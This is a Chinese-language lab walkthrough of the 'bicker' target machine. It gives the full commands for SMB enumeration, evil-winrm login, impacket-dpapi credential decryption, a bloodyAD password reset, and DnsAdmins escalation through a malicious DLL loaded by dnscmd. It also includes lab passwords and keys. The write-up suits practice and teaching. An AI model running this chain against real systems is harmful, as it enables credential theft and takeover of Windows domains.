文章说明
该篇文章首发于先知社区,原文在这里
当然原作者就是我,文章已经投到先知上面了,所以说明一下
bicker靶机复现
端口信息
1 | nmap -T4 -A -v 192.168.20.130 |


发现大量开放端口
smb匿名访问
尝试匿名访问smb
1 | smbclient -L //192.168.20.130 -N |

可以匿名访问
发现有几个奇怪的东西puppy
我们下载下来看看


查看图片元数据
一张奇怪的图片
我们使用exiftool工具查看图片的元数据

发现bilibili和uid
猜测是一个b站用户

确实有一个用户
图文里面有个投稿

得到aksk
tindalos:Th3C@ll0fCtHu1hu!
winrm
靶机开放5985端口服务

不懂为什么这个端口的服务一直扫不出来
实际上这个端口开放的是winrm服务

可以远程登录并且拿到的shell是powershell
我们使用evil-winrm工具连接
1 | evil-winrm -i 192.168.20.130 -u tindalos -p 'Th3C@ll0fCtHu1hu!' |
如果直接拿刚刚登录的aksk去登录的话,没法连上去
因为靶机的时间过长,导致靶机要强制更新密码
所有我们需要在vmware上面修改一下密码
然后在使用新密码登录
1 | evil-winrm -i 192.168.20.130 -u tindalos -p 'abc!@#123' |
成功登录tindalos用户

找到user的flag

信息搜集
回到user目录看看本机用户

存在其他2个用户lihua和jianyin
看看本用户的具体信息

得到sid和所属组
其中的dnsadmins组存在提权可能
该组内用户可以注册dll到dns服务上
可能导致提权
我们看看其他用户的信息

这2个用户都可以被winrm登录
lihua用户可以对域内用户账号进行修改
jianyin用户可以重启dns服务
提权思路
那么提权思路就是拿到jianyin用户然后去修改lihua用户的密码
然后tindalos用户注册一个恶意的dll到dns服务上
最后lihua用户重启dns服务从而拿到system权限
凭证解密
我们现在去看看tindalos用户的漫游凭证

确实存在一个dpapi加密凭证
1 | dpapi #data protection api 通常在roaming目录下面的credentials文件里面 |

由于我们之前修改了密码所以要使用最新的masterkey
我们抓取到这些文件之后就开始破解
我们先传个马子好继续之后的操作
也可以传个工具在靶机里面破解
发现C:/wirtetemp这个奇怪的目录

这个应该是作者留的特殊文件夹
我们传个马子到这个文件里面然后弹shell出来

成功上线
我们去抓凭据文件到kali里面
破解密钥
我们使用Impacket-dpapi工具破解masterkey

抓到凭据了

开始破解
1 | impacket-dpapi masterkey -file 8a0810d5-0e0e-4d7a-8e23-7233dd650ea4 -password 'abc!@#123' -sid S-1-5-21-298176814-2846777796-698167141-1103 |

得到masterkey的值
我们继续破解
1 | impacket-dpapi credential -file A2E4656BCBABFD9279E090E8482A7141 -key 0xd318d536c896af2b5daee5a60aae447ea54e6d356b61ea2a740fec42be9735afa48bff404b98fd514c2042ed2b84db69eaa13cc675d8b8d19421da56718cd39f |

貌似这个新的masterkey没法用到这个上面
我们去接旧的masterkey
1 | impacket-dpapi masterkey -file cb5f08bd-480d-4d6e-9d2d-1d18c94fcb74 -password 'abc!@#123' -sid S-1-5-21-298176814-2846777796-698167141-1103 |

1 | impacket-dpapi credential -file A2E4656BCBABFD9279E090E8482A7141 -key 0x0ff22e711e14912c168ec3943e2478081930413b24795f45028bf15992aebc0b5b0954128398441a4c2578c90e5c2da71bc678d8d5a4e66836e9f083e20eeb27 |

成功破解
貌似是lihua的凭据
这里确实就是lihua的密码 但是直接使用没法连接因为会提示密码过期了
所有这里提前修改了密码


成功登录lihua账号
这个时候直接去修改yinjian的密码
我们使用bloodyad去登录lihua并修改
1 | python3 bloodyAD.py --host 192.168.20.130 -d bicker.com -u lihua -p 'abc!@#123' set password jianyin 'dhaw23131@$g12' |

成功登录
现在只需注册恶意dll然后重启dns就可以提权了
1 | dnscmd.exe /config /serverlevelplugindll C:/wirtetemp/1.dll |

注册成功
现在只需要重启dns服务即可提权
1 | dnscmd.exe /restart |
成功提权

说些什么吧!